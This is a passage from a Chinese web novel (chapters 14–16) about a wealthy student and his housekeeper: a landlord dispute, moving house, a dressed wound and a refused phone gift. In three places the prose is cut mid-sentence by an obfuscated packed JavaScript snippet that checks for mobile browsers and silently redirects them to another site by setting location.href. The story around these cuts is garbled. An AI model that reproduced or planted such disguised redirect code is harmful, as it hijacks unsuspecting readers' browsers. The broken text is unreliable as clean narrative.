“本少爷要是葱,你连葱须上的泥都不配当。”江翊驰看了房东一眼,像是被丑到般拿起胸前的墨镜戴上,“你说他们破坏了你的房子,到底是租房的正常损耗还是恶意破坏,我可以帮忙找专业人员来鉴定一下。” 房东放软了语气:“你到底是谁?我跟你没过节吧?” “本少爷有钱有闲,想日行一善,你管得着吗?先掂量掂量自己有没有那个资本能跟我耗到底吧。” “算你们狠,违约金和押金过两天给你们。”房东骂骂咧咧地走了。 围观人在江翊驰侃侃而谈时就是一副目瞪口呆的模样,最后见房东居然真的愿意给钱,纷纷欢呼着朝许秋实和江翊驰道谢。 阿布更是给了许秋实一个熊抱:“许哥,幸好有你在,这铁公鸡,都拆迁一整栋楼了还想坑我们钱,真该死啊!万恶的有钱人!” 江翊驰摘下墨镜,翘起嘴角等着挨夸,转头看见许秋实和那个叫阿布的年轻人抱作一团,顿时黑了脸。 14. 入住 被阿布抱着的许秋实感知到江翊驰身上散发出的烦躁气息,拍拍阿布的肩,将他推开了点。 果然,下一秒,江翊驰冷着脸开口:“真是不好意思啊,我也是你口中万恶的有钱人。” 阿布:“……” “阿布不是在说你。”许秋实有些无奈,转头朝阿布介绍:“这是我老板。” “许哥,你老板好年轻啊。”阿布不好意思地笑了声。 “因为我是富二代,是不是觉得我更可恶了?”江翊驰施施然道。 许秋实蹙眉看了江翊驰一眼,继续说:“他还在上大学,是洛大的。” “哇,跟阿泽一样是高材生诶!难怪懂那么多,今天真是太谢谢你了,小老板。”阿布逮到机会拍了个马屁,向江翊驰真诚道谢。 “不用谢。”江翊驰面无表情地应道。 许秋实看了眼堆满杂物的楼道,最近楼里的租客都在忙着搬家,于是问阿布:“你找到新去处了吗?” “找到了找到了,我和阿恒、小赵他们一起合租,三居室,环境比这边好多了,房租摊下来也便宜很多。”说到新房子,阿布笑得十分开怀,感觉自己真是走大运了。 “那就好。”听到小赵他们也安顿好了,许秋实欣慰地点点头,“东西都收拾好了吗?要不要帮忙?” “不用不用,收拾得差不多了,不对,我得把冰箱搬走,不能留给那个死房东!”提起房东,阿布的拳头又硬了,他入住时买了个二手冰箱,本想着以后搬家不带走了,现在说什么都得带上这个冰箱。 “我帮你吧。”许秋实说。 “不用了许哥,你忙你的,我叫了车,一会让司机师傅帮我一起搬下去。”阿布偷偷瞥了眼边上等得不耐烦的江翊驰,连连摆手。 许秋实问江翊驰:“能再等一会吗?” 江翊驰相信如果自己说“不能”,许秋实一定会让自己先走,只能不情不愿地应了声:“哦。” “那你就在这等我,别乱走。”许秋实叮嘱完,跟着阿布去搬冰箱。 阿布的冰箱早已清空,容量不大,许秋实扶着冰箱两侧晃动掂量了下,差不多有百来斤,虽然不重,但体积大,表面光滑,不好着力。 他让阿布找来一些布条,熟练地给冰箱做了个“背带”。 等人高的冰箱被他轻松扛在背上,俯身走出房门,稳步向楼梯走去,没什么用武之地的阿布连忙跟在他身后,聊胜于无地扶住冰箱底部。 许秋实的身影很快消失在楼梯口,江翊驰转身从护栏探头向下望。 没多久,熟悉的身影出现在楼下,阿布叫的车正好开到,两人合力将冰箱放上车斗。 除了冰箱,许秋实还帮阿布把其他东西一起搬下楼,直到把人送走。 这么一耽搁,等许秋实重新拾起自己的家当坐上车时,已经比预计到达荀文耀家的时间晚了半个小时。 “今天谢谢你。”江翊驰不仅帮阿布要回押金,还帮他讨了一笔违约金,此前许秋实根本没想过能拿违约金。 “不用。”江翊驰双手抱胸,倚着车座靠背,要不是许秋实先插手,他才不会多管闲事,“倒是你,有什么见人就帮的kpi吗?” “什么……哀?”许秋实一头雾水。 “就是指标,你是每天要完成多少助人为乐的指标吗?”江翊驰想到之前顾承飞在酒吧那次也是,许秋实都不认识他,还帮他挡酒瓶。 “没有,只是看见了,能帮就帮。”许秋实老实道。 好一个能帮就帮,等帮出事了,不知道会不会有人来帮他。江翊驰冷哼一声,没忍住开了口:“你帮人搬冰箱,没出问题人家跟你说句谢谢,搬的过程中磕到碰到,或是摔了一跤,人家只会怪你把冰箱摔坏,根本不会在乎你有没有受伤,说不定还要嫌你多管闲事。” 江翊驰一通分析,把许秋实说得哑口无言,那些话虽然现实,却很有道理,只是他行动的时候根本没想那么多。 “你自己生活很如意了吗?还总想着帮别人,人家可不一定记你的好。” “我没想让人记得我的好。” 江翊驰知道许秋实说的不是什么客套话,他就是那样一个老好人。 “不过你真厉害,今天说的那些我都听不懂。”许秋实笑了笑,适时转移话题。 “网上搜的,现在网络很方便,你赶紧把你那上不了网的破手机换了吧。” “嗯。”许秋实应了声,换手机这件事确实该提上日程。 * 许秋实不是第一次来荀文耀家,但荀文耀依旧坚持要在小区门口迎接他。 看见许秋实身后跟着个满脸嫌弃的江翊驰,荀文耀朝许秋实笑道:“哟,带你家小少爷来视察民情啦?” 荀文耀没有刻意压低声音,江翊驰将他的话听得一清二楚,觉得那句“你家小少爷”十分受用。 许秋实道:“他一个人在家无聊,出来看看。” “小少爷好呀,我是秋实的朋友,荀文耀。”荀文耀主动做了自我介绍。 “你好,江翊驰。”江翊驰点点头,在墨镜遮挡下看不出表情。 “跟我来吧。”荀文耀不顾许秋实拒绝,强硬地接过他手里的桌子,走在两人前面。 他家在8楼,条件比许秋实那好得多,不过在江翊驰眼里也只是稍好一点的“破地方”。 “小少爷别嫌弃咱这地方破啊,直接进来吧,别换鞋了。”荀文耀家里的拖鞋不多,人一多就不够穿,之前酒吧员工来可以让人打赤脚,但江翊驰就算了吧。 许秋实注意到家里的木地板很干净,像是刚拖过,想说还是换个室内拖鞋比较好,不等他开口,江翊驰已经从他身边走过,毫无心理负担地踩上客厅地板。 算了,等人走了再做个卫生吧。许秋实自我调理了一番,跟着进去。 “随便坐啊,家里没什么喝的,给你们点奶茶吧?”荀文耀掏出手机要点外卖。 许秋实想说不用,看到小少爷没有拒绝的意思,便回:“我来点吧。” “你怎么点啊?手机里连外卖软件都没有。”荀文耀打趣。 许秋实:“不能电话点单吗?” “现在都用外卖软件啦。” “那我给你钱。” “再客气我要把你赶出去了。”荀文耀挥着手机威胁道。 许秋实:“……” 独自坐在沙发上的江翊驰看见两人有说有笑,突然开口:“许秋实,我饿了。” “这么快?”许秋实看看时间,他记得江翊驰早饭吃了不少,出门到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934875|192859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在,除了爬楼梯,几乎没有多余的体力付出,怎么就饿了? “干嘛?你有意见啊?”江翊驰扬起眉毛。 “没有,文耀哥,家里有没有面条?我先煮点面吧。”许秋实问。 “一会就要准备午饭了,现在吃面不前不后的,我这有零食,小少爷吃点垫垫肚子吧。”荀文耀拿出自己的零食袋,“小面包吃吗?我还点了奶茶呢。” 江翊驰没回话,自己在零食袋里翻找了一阵,掏出一包开心果。 许秋实顺势坐在他身边,开始帮他剥壳。 荀文耀:“……” 江翊驰也不是真饿,因为是许秋实剥的才多吃了几颗,结果吃得口干舌燥,又要许秋实给自己倒水喝。 见小少爷暂时没什么需要自己伺候的地方,许秋实便让他先坐着等外卖,自己去把东西安置好。 中午,兼职结束的许秋泽第一时间赶了过来,身边跟着个顾承飞,荀文耀家上次这么热闹还是中秋节那天。 午饭自然是许秋实操刀,许秋泽因为没能在搬家一事上出份力,正积极地和荀文耀一起给他哥打下手,两位少爷则坐在客厅玩手机游戏。 吃过午饭,江翊驰和顾承飞没有要走的意思,荀文耀干脆打开客厅电视,给他们放碟片看。 小小的沙发挤不下那么多人,许秋实自发搬了凳子坐在沙发边上。 电影是外国的,看起来有些年代。 没一会顾承飞就拉着许秋泽看手机,荀文耀懒懒地靠在沙发边上打了个呵欠,明显也对电影兴趣不大。 江翊驰微微侧头,看见许秋实认真的侧脸,鼻梁高挺,下颌清晰,因为专注,眨眼的频率很低,那排浓密的睫毛每一次颤动,都像在江翊驰心头轻挠一下,泛起痒意。 许秋实很少看电视,以前是没时间,现在是没条件,之前的出租屋和现在的保姆房都没有电视,所以此刻他看得格外投入,完全没注意江翊驰的目光一直停留在自己身上。 电影结束,片尾曲响起的时候,许秋实眼中带着点未从故事中抽离的惆怅,江翊驰如梦初醒般收回目光,耳尖泛红。 “好看吗?”荀文耀笑着问许秋实。 “嗯,好看。”许秋实认真地点点头。 江翊驰心里想的却是这电影还没许秋实好看。 晚上荀文耀要去酒吧,许秋实特地提前做好晚饭,几人吃完一起下楼。 顾承飞和许秋泽直接蹭江翊驰的车回学校,许秋实站在一旁目送他们上车。 江翊驰这才想起许秋实来荀文耀家是要入住的,今天是他的休息日。 “路上慢点。”许秋实朝驾驶座的小张嘱咐了句,抬手跟车里几人道别。 江翊驰没理他,不知又在生什么气。 回到荀文耀家,许秋实收拾完客厅卫生,洗了澡,想起荀文耀让他无聊就看电视的交代,将下午的电影又看一遍,心满意足地上床休息。 床头手机屏幕亮起,传来一声短信提示音,是江翊驰发来的,问他在干嘛。 这次手机延迟对江翊驰的信息一视同仁,晚了整整两个小时才收到,许秋实敲敲打打,回了一句:【准备睡觉。】 江翊驰没有再回复,大概是睡下了,许秋实这么想着,关灯躺下,一夜好眠。 15. 上药 江翊驰的课表和许秋泽差不多,许秋实记得很清楚。 周一上午有早八,许秋实起了个大早,帮荀文耀煮了点粥温在电饭煲里,再赶回江翊驰那给他做早饭。 平日都要许秋实敲门催促起床的小少爷今天一反常态,提前坐在沙发上等候。 许秋实开门进屋,看见客厅中的身影,有些惊讶:“起这么早?” “你昨晚为什么那么晚才回消息?”江翊驰开口就是质问。 “手机延迟了,看见消息就回了。”许秋实解释。 江翊驰昨晚发完短信,迟迟没有收到许秋实的回复,满脑子都是许秋实和荀文耀相处和谐的画面,完全忽略荀文耀还在酒吧上班的事实,等许秋实发来回复时,正在气头上的小少爷决定也晾他一会,没想到人家毫无心理负担地睡着了。 “早叫你换手机了!”江翊驰气道。 “嗯,等空了看。”许秋实应得干脆,不给江翊驰继续发作的机会,转身去厨房准备早饭。 江翊驰一口气憋在胸口,不吐不快,起身跟了上去,站在许秋实身后开始找茬。 这个不要,那个不吃,鸡蛋多煎会,火腿加酱油,在小少爷英明神武地指挥下,为自己换来一顿难吃的早餐。 刚想摔筷子,许秋实看了他一眼:“都是按照你的要求做的,不要浪费食物。” 那一瞬间,江翊驰感觉自己好像被训了,气焰顿时萎靡。 其实也没多难吃,就是跟平时吃的不太一样,江翊驰脸上浮现大写的“委屈”二字,一边生闷气,一边把碗里的小米粥喝完。 许秋实见状,语气中带上一丝哄人的意味:“中午给你做好吃的。” “哼。”江翊驰这才缓了脸色。 许秋实嘴角微勾,心头涌起一阵想要摸摸那颗脑袋的冲动。 跟小少爷相处过便会知道,他只是任性一点,脾气差点,嘴巴毒点,但本质不坏,能听得进话,还有着自己独特的体贴,在许秋实眼里,小孩偶尔耍耍小性子是正常的,甚至有些可爱。 小少爷带上许秋实给他收拾好的背包,站在厨房门口喊:“许秋实。” “嗯?”正洗碗的许秋实扭头看他。 “你不送我出门吗?”小少爷扬起下巴。 “来了。”许秋实快速冲掉手上的泡沫,往身上的围裙擦了擦,跟着江翊驰走到门口,挥挥手向他道别:“路上小心。” 江翊驰坐电梯直达停车场,靠着车座给小张下达了一个任务。 将小少爷送出门后,许秋实收拾收拾家里,打算下楼抽根烟。 早上来时保安亭里是吴明值班,两人最近熟络不少。 吴明有固定的放风时间,那次之后他们又在吸烟亭偶遇过两次,得知许秋实试用期结束转正后,吴明对他肃然起敬。 江翊驰的难搞程度在他们小区是出了名的,当初他家的保姆换了一个又一个,在小区门口进进出出,随便打听一下就知道了。 吸烟亭里,吴明果然在这,互相打过招呼,许秋实拿出打火机给他点火。 正聊着天,陈顺突然跑过来喊吴明回去帮忙搬东西。 “什么东西啊?你们三个人还搬不动?”吴明不大乐意地捻灭烟头。 “一张实木办公桌,重得很。”陈顺苦着脸说。 “没报备吗?”吴明问。 “没有,是1栋12楼的业主。”陈顺看了眼许秋实,压低声音道。 闻言,吴明顿时头疼起来。 “怎么?”许秋实下意识问了句。 “嗐,这个业主有点,那啥。”吴明挠挠脑袋,想找个比较委婉的形容词。 “精打细算。”陈顺适时补充。 “对,相当地精打细算。”吴明一边说一边走,许秋实顺势跟上。 “送货的把桌子放门口就走了,说业主没给送上门的费用,咱也没有业主的联系方式。”陈顺的语气满是无奈。 “那你们要给他送上去吗?”许秋实心中有了计较。 “没人搬,可不得我们搬了。”吴明重重叹了口气。 小区的封闭式管理导致外来人员想进入必须要业主提前报备,平日外卖和快递都是由物业统一收取再安排员工为业主送上门,但像这种大件物品,业主一般是会报备后让专门的送货员来搬运。 三人来到小区门口,深胡桃木材质的办公桌就这么放在地上,吴明试着抬了抬,顿时想骂娘:“这桌子少说得有三四百斤,搬就算了,不小心磕坏了算谁的?” “那咋办啊吴哥?”另一个年轻点的保安问。 “我问问经理吧。”这种情况吴明不敢随便处置,给物业经理打了个电话,对面核实完情况后,向他们下达了搬运的指令,说是业主不介意磕碰到一点点。 “这叫什么事儿!”吴明只能自认倒霉,招呼几个同事一起动手搬桌子。 许秋实还记得昨天江翊驰说过的话,有了对方给的免责声明,终于决定出手:“吴哥,我也来帮忙。” 吴明早就看中许秋实那壮硕的体格,听到这话,登时大喜,随后又有些不好意思:“这多麻烦你啊。” “没事,搬东西我在行,你在边上帮忙看着点。”许秋实顶替吴明的位置,给吴明安排了个开路的活。 听到许秋实有搬货经验,几个保安一致听从他的指挥。 保安亭里得留个人守着,许秋实让另外两个体型高大点的保安一起抬前面,自己单独扛后面。 三人各就各位,蓄势待发,随着许秋实的一声“起”,沉重的实木办公桌被稳稳抬离地面。 不过走了一小段,前面两人已经开始气喘,许秋实仍脚步沉稳。 吴明在前方不住提醒:“往左往左,要踩到绿化带了,诶慢点慢点!有台阶,前面抬高点。” 一直到把桌子搬进货运电梯,几人松了口气,陈顺擦擦额头的汗,看向许秋实的目光带上些示好的意味。 “小许啊,你这身腱子肉真是没白长!”吴明拍拍许秋实的胳膊,也与他亲近不少。 “活干得多,练出来的。”许秋实笑了笑,“也就是力气大点,没别的本事,以后要有什么费力气的活,都可以叫我。” “那是肯定的。”吴明高兴地应道。 电梯到达12楼,业主已等在门口,男人身穿西装,头发一丝不苟地梳到脑后,戴着副无框眼镜,一脸精英样。 许秋实他们帮忙把桌子搬到业主家的书房,只换来对方一句轻飘飘的“谢谢”,连口水都没想着请人喝。 下楼时,年纪最轻的保安小黄忍不住吐槽一句:“真是越有钱越抠门,能住在这里的,差这点送货上门的费用吗?” “别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934876|192859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了,电梯里有监控的,小心被经理发现扣你工资。”陈顺提醒,小黄忙捂住自己的嘴。 “走,小许,到我们保安亭坐会,给你泡茶喝。”吴明搭上许秋实的肩,热情邀请。 许秋实本就有心要跟吴明他们搞好关系,自然不会拒绝,一伙人有说有笑地回到保安亭。 * 中午,下了课的江翊驰带着对许秋实早上那句承诺的期待,没有任何停留地往家赶。 到家时,许秋实正好摆好碗筷,时间算得一分不差。 江翊驰飞快扫了眼桌上的菜,果然全是他爱吃的,满意地洗手吃饭。 早饭那碗小米粥早消化光了,江翊驰没什么压力地吃完一碗米饭,要许秋实给自己添饭。 许秋实将装满米饭的碗递给江翊驰,手臂上几条红痕明晃晃的露在他眼前。 “你手怎么了?”江翊驰一把握住许秋实的手腕,他很确定早上还没有的。 许秋实愣了愣,顺着他的视线低头看,才发现左边胳膊破了一大块皮,大概是搬桌子转弯的时候蹭到楼道的墙角了,当时只顾着稳住桌子,竟没觉出疼,这会伤口渗出的细密血珠都凝固了,看着有些瘆人。 “没事,小伤。”许秋实想抽回手,心想难怪感觉那块皮肤有些发烫,伤口的位置有些靠里,要不是刚刚抬着手,真不容易被看见。 “那请你告诉我这小伤是怎么出现的?”江翊驰直勾勾地看着他。 许秋实神情闪躲。 “不说实话我扣你工资了。” “……”被掐住命门的许秋实将上午下楼顺便帮忙抬了张桌子的事全盘托出,特别强调了是在对方明确说明搬运过程中有磕碰也没关系他才上手的。 见许秋实把自己的话听进去了,江翊驰瞥了他一眼,收回了手:“帮熟人就算了,你跟楼下保安很熟吗?” “还好,一起抽过烟,他们人挺好的。” 江翊驰不再搭腔,自顾自地吃完饭,随后拿来家用医疗箱,朝许秋实道:“过来。” 许秋实知道家里这个铁盒子的用途,摇摇头:“不用上药,一点都不痛,过两天就好了。” “叫你过来就过来。”江翊驰拍拍身边的位置。 许秋实刚想开口,江翊驰一眯眼,冷冷道:“再不过来扣你工资。” 没招了的许秋实走过去乖乖坐好,江翊驰不仅要他上药,还要亲自动手。 先用沾了生理盐水的棉签将伤口周围清理干净,再细细涂抹上冰凉的药膏,很好地缓解了皮肤上那股灼热之感。 眼前的手臂结实有力,皮肤是常年晒出来的健康麦色,除了新添的伤口,小臂处还有许多凹凸不平的旧疤。 江翊驰的动作慢慢停住,指尖跟随视线轻轻落在那些伤疤上,心头涌动复杂情绪。 白皙细腻的手指悬在他粗糙的手臂上,许秋实再次感受到两人之间的鲜明对比,忍不住将手往回缩了缩:“可以了,谢谢。” 江翊驰把药膏塞给许秋实叮嘱他记得每天上药。 许秋实顺从应下,继续去收拾碗筷。 洗完碗出来,江翊驰朝他递来一个白色袋子:“喏,给你的。” “什么?”许秋实擦擦手准备接过。 江翊驰说:“手机。” 许秋实伸出去的手当即转了个弯,收了回去。 16. 手机 “你干嘛?”江翊驰看到许秋实的动作,顿觉不悦,这跟他预想的反应怎么完全不一样? “我不要。”许秋实直言。 “为什么?”江翊驰满脸疑惑,“你那手机都破成什么样了还舍不得换?” “不是,我会换的。”言下之意他会自己换。 江翊驰听出来了,更是不解:“一部手机而已,又不是什么贵重物品,给你就拿着啊!” “对我来说很贵重,我不能收。”许秋实仍然没有伸手去接,这份工资高福利好的工作对他而言跟天上掉馅饼没有区别,他哪能再厚着脸皮收这么贵重的东西。 江翊驰下意识想出言威胁,下一秒就从许秋实眼中看到哪怕扣他工资他也不会妥协的坚决,当即火冒三丈,自己只是想送部手机,怎么搞得像逼他犯罪一样?真是好心当成驴肝肺! 他把袋子往沙发上一扔,怒道:“你爱要不要,反正是买给你的,本少爷送出去的东西从来没有收回来的道理,你不想要的话,干脆丢掉好了!” 看着江翊驰愤然离去的背影,许秋实没把他的话当真,拎起装着手机的包装袋端端正正摆在茶几上,希望小少爷消气后能记得收回去。 下午江翊驰去上课,看见桌上的袋子心里直冒火,过去一把抓起往许秋实刚套上垃圾袋的垃圾桶里丢。 许秋实叹了口气,把手机捡起来,结果小少爷晚上回家又扔了一次,似乎铁了心为这部手机定好归宿,不是留在许秋实手里,就是进垃圾桶待着。 许秋实只能暂时将手机收起来,思忖一番,联系了许秋泽。 第二天中午,许秋泽利用午休时间来到金麟湾,听从他哥的嘱咐,待在保安亭外等人。 保安照例询问两句,得知是许秋实的弟弟,立即邀请他到保安亭内凉快凉快。 “不用了几位大哥,我在外面等就行。”许秋泽客气地拒绝。 吴明一听顿时乐了:“瞧瞧,真是小许的亲弟弟,说话语气一模一样。” 见他们似乎和哥哥很熟的样子,许秋泽有些不好意思地挠挠头,好在许秋实来得快,许秋泽见到他哥,忙迎了上去:“哥,你找我来什么事呀?” 许秋实把江翊驰买的手机递给他,说:“你看看能不能找到这手机是哪家店买的,帮我拿去退掉。” 许秋泽认得袋子上的商标,正是当下时兴的手机品牌,再看一眼还未开封的手机盒,上面标注的型号是最新款,一部手机的价格接近许秋实一个月工资,他好奇地问:“哥,这手机哪来的啊?” “老板买的。”许秋实没有隐瞒。 “江翊驰买给你的?”许秋泽更惊讶了。 “对,太贵重了,我说不要,他不肯收回去,能退的话你帮忙退了吧,到时候我把钱还他。”许秋实说出自己的打算。 许秋泽跟江翊驰接触不多,不像和顾承飞那么熟,对他的印象一直停留在“有钱任性的小少爷”上,送手机确实像他会做的事,而拒收手机很明显也是他哥会给的回应。 他又仔细看了看袋子里,除了装着手机的盒子,收据和发票都在,应该是可以退的,但他没有打包票,稳妥起见,他跟许秋实说自己先去专柜问问。 “行,辛苦你跑一趟了。” “哥你说啥呢,什么辛不辛苦的,跟我还这么客气。”自从兄弟俩一个住校,一个住家,能见面的机会越来越少,许秋泽巴不得他哥天天有事找他。 “行,不跟你客气。”许秋实笑着揉了揉弟弟的头。 “那我走了,哥你有事再联系我。”许秋泽说完觉得不对劲,又补充道:“没事也可以联系。” “好,路上慢点。”送别了许秋泽,许秋实跟吴明唠嗑两句,回去打扫卫生。 许秋泽的效率很高,下午上课前给许秋实发来消息,告诉他手机已经退掉了,店员说钱会原路返还,让他不要担心。 江翊驰午休起来没再看见茶几上那个白色包装袋,满以为是许秋实收下了,结果才到教室坐下就收到司机小张打来的电话,说收到了手机店的退款,问江翊驰是不是他退的。 “你觉得我会自己跑去退货?”江翊驰质问。 “不会。”小张再次小心翼翼地开口:“那是许哥自己去退的?” 江翊驰气笑了,没想到许秋实会给他来这招。 “小少爷,你没把发票和收据拿走吗?”小张疑惑了,送人礼物哪有连发票和收据一起送的。 “什么发票和收据?”江翊驰根本没看袋子里有什么,这会反应过来,气得不行,骂道:“你猪脑子啊!把发票和收据放袋子里干嘛?” “那是给你看的啊,不是得找你报销嘛。”小张委屈道,他只是想超绝不经意地让小少爷自己发现手机价格然后主动给他报销,顺便再给点奖金就更好了。 “我会贪你那点钱吗?!”现在别说奖金了,江翊驰还想扣他工资。 “我错了小少爷,千万别扣我工资!你好好上课啊,拜拜!”小张火速挂断电话。 “怎么啦阿驰?又生气。”顾承飞转过身问他。 “没事。”江翊驰深吸一口气平复心情,退货肯定不是许秋实自己去的,他能找谁帮忙用脚指头想都知道。 没一会,许秋泽从门口进来坐在江翊驰前一排的位置上,那是顾承飞帮他占的座。 江翊驰抬手戳了戳许秋泽的肩膀,问:“许秋泽,你哥的手机是你给他退的吗?” “对啊,你为啥给我哥送手机啊?”许秋泽回过头反问。 听到这话,顾承飞也来凑热闹:“你给许哥买手机啦?买的哪款啊?” 江翊驰没理他,只回答了许秋泽的问题:“他的破手机老掉链子,我身为他的老板,想联系他还得看他手机的脸色吗?” “话是这么说没错,但你买那么贵的牌子,我哥肯定不会要的。”许秋泽一脸“他是我哥我了解”的表情,在江翊驰看来十分碍眼。 江翊驰挑眉:“便宜的他会收?” 许秋泽摇头:“那倒也不会。” “对啊对啊,给许哥送东西可太难了。”顾承飞附和。 江翊驰登时给了许秋泽一个“你在说什么废话”的眼神。 “你特地买给他的他应该都不会收,我哥最怕欠人情了,不过没关系,我正打算给他买手机呢,等这个月工资下来就买,辛苦你再忍耐一下他的旧手机了。”许秋泽将自己的计划告诉江翊驰。 “你买的他会要?”江翊驰怀疑地问。 “那是肯定的啊,我是他弟嘛,收我的东西肯定比收你的心理负担小一点。” 许秋泽只是在陈述事实,江翊驰却硬生生从中听出了一丝炫耀,不由冷哼一声,不过是弟弟而已。 当晚,江翊驰下课回去直奔自己的卧室,在书桌抽屉翻找了一通。 许秋实做好了小少爷还要闹一阵别扭的准备,没想到他下楼后居然又递给自己一部手机,这次没有包装盒也没有包装袋,款式看着跟小少爷正在用的差不多。 “新手机你不要,给你我的旧手机总可以吧?”江翊驰的电子产品更新迭代比翻书都快,一大堆用了几天就失去兴趣的旧手机。 不等许秋实回答,江翊驰再次开口:“是我用不上的,给你用正好能继续发挥价值,不然放着也浪费,你不是最怕浪费了吗?” 许秋实无法反驳。 “你先用着,当我借你的好了,等你换新手机了再还我,这样总行吧?”江翊驰一副自己做出好大让步的模样。 这下许秋实真的不好拒绝了。 旧手机很久没用,得先充电,许秋实插上充电器,等到闲下来的时候,手机电量正好充满。 他独自鼓捣了会只有一个按钮的全屏手机,最后带着手机无措地找上江翊驰:“老板,我不会用这个。” “手机都不会用,笨死了,过来我教你。”江翊驰嫌弃道,嘴角却不自觉地向上扬。 江翊驰的旧手机里各类软件一应俱全,看花眼的许秋实正在慢慢适应。 江翊驰帮他申请了微信号,第一个加的就是自己的好友,但许秋实的电话卡不是流量套餐,无法异地更改,一些需要联网的功能只能在家里连着无线网用,一出门就得关闭数据流量,手机换了跟没换似的。 江翊驰受不了地让他办张新卡,告诉他现在办卡不花钱,每个月还给送话费。 许秋泽和顾承飞也跟着劝,许秋实终于办了新卡,并在许秋泽的指导下,给通讯录上的联系人群发短信,告知他们自己的新号码。 短信发出没多久就接到强子的电话,得知许秋实的近况后,强子高兴地表示自己要找个时间来洛海市看望他们,顺便瞧瞧多年未见的表哥。 看到许秋实跟强子聊得开心,江翊驰转头问许秋泽:“强子是谁?” “我哥在老家的小弟,他小弟可多了,都爱跟着他。”许秋泽第一次来江翊驰家,坐在沙发上有点拘谨。 “强子是不是文耀哥的表弟啊?”顾承飞插进一句。 “对,当初就是强子哥帮忙联系的文耀哥,文耀哥帮了我们好多呢。”荀文耀在许秋泽心中的地位已经仅次于许秋实了。 “文耀哥人是好,长得也帅,感觉有种特别的气质。”顾承飞点点头。 “呵。”江翊驰撇撇嘴,不想继续这个话题。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934877|192859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 视线转向阳台,许秋实一脸笑意地讲着电话,察觉到小少爷的目光,对他笑着点点头,江翊驰瞬间收回视线,胸腔像是擂鼓般砰砰直响。 自从学会用淘宝后,许秋实没事就爱上去逛逛,最近每次点进主页都能看见关于双十一的活动宣传,他问江翊驰什么是双十一,江翊驰告诉他那是购物节,买东西折扣力度比较大。 “你有想要的东西可以先加购物车,等活动开始再下单。”江翊驰操作给他看。 “那这个预售是什么意思?”许秋实指着商品名前面的图标问。 江翊驰:“预售的一般不是现货,着急用的东西别买预售的。” 许秋实似懂非懂,不过他现在没什么要买的,想着马上入冬了,便让江翊驰帮忙看看许秋泽能穿的冬装。 江翊驰看了眼许秋实身上那套来回换洗的衣服,问:“你自己不买吗?” “我有衣服穿。”他不怎么外出,两套衣服完全足够。 江翊驰不想理他。 * 双十一的影响一年比一年大,对于小区物业而言也是一次大挑战,因为他们将有不计其数的快递要为业主送上门。 光是月初几天,许秋实已经在路上偶遇好多次小区保安推着堆满快递的小推车挨家挨户地送货了。 “这只是刚开始,等十一号过去,后面的小半个月才是真正的考验。”吴明唉声叹气地向许秋实诉苦,普通的快递倒没什么,他们最怕业主买一堆大件的家电家具,虽然送货上门公司会给补贴,但付出和收益不对等,对他们来说纯粹是吃力不讨好。 “你们可以找人帮忙吗?”许秋实问。 “找人倒是可以,就是人家看不上我们这三瓜两枣啊。”专门的快递员自己还有干不完活,都不乐意来他们小区赚这么点跑腿费,吴明看了眼许秋实,突然福至心灵,问:“小许啊,你愿意干不?你要愿意干的话,我跟经理说一声,到时候你来给我们帮忙,虽然工钱不多,你当赚点外快了。” 许秋实没有马上答应,他得回去问问江翊驰自己能不能做兼职。 “行,那你回去问问,我等你答复啊!”吴明满眼希冀地目送许秋实离开。 “送快递?”江翊驰重复了一遍,一时没反应过来。 “嗯,我找休息的时间去,不会耽误家里的活。”许秋实如今的工作过于轻松,每天闲暇时间一大把,一身力气没处使,属实憋得慌。 “既然是休息时间,你想怎么安排都可以,不用跟我说。”江翊驰知道许秋实勤快,而且只在小区范围里活动,没什么好反对的。 “谢谢老板。” 十一月的天气总算有些凉意,与之相反的,是门岗边上临时快递点的火热氛围。 保安亭里至少得留一个人值班,于是他们轮流安排三人出来分拣快递。 许秋实忙完家里的活,匆匆下楼,简单了解了一下流程,迅速融入这份新工作。 正和陈顺一起将快递从大到小往小推车上摞,又一个开着三轮车的快递小哥一边喊着“快递来咯”一边潇洒漂移到小区门口,哗啦啦卸了一地的快递。 吴明看得两眼一黑,扶着许秋实的胳膊直起身:“还好有你在,不然我们三个人不知道得忙活到啥时候。” “就是啊,今年的快递比去年多了不止一倍!”小黄抱怨地捶着腿,“我腿肚子都在打颤了。” “等会我去送吧,你们休息会。”许秋实主动揽活干,横竖是按件算钱,多干多得,其余几人便不跟他客气,只叮嘱他一定不能送错。 有推车,有电梯,快递按楼栋分拣过,一次能送完几十件,对许秋实而言这钱赚得也很轻松,可惜他时间有限,得赶在江翊驰下课之前回去做好饭,饶是如此,一天仍赚了两百来块,是不错的进账。 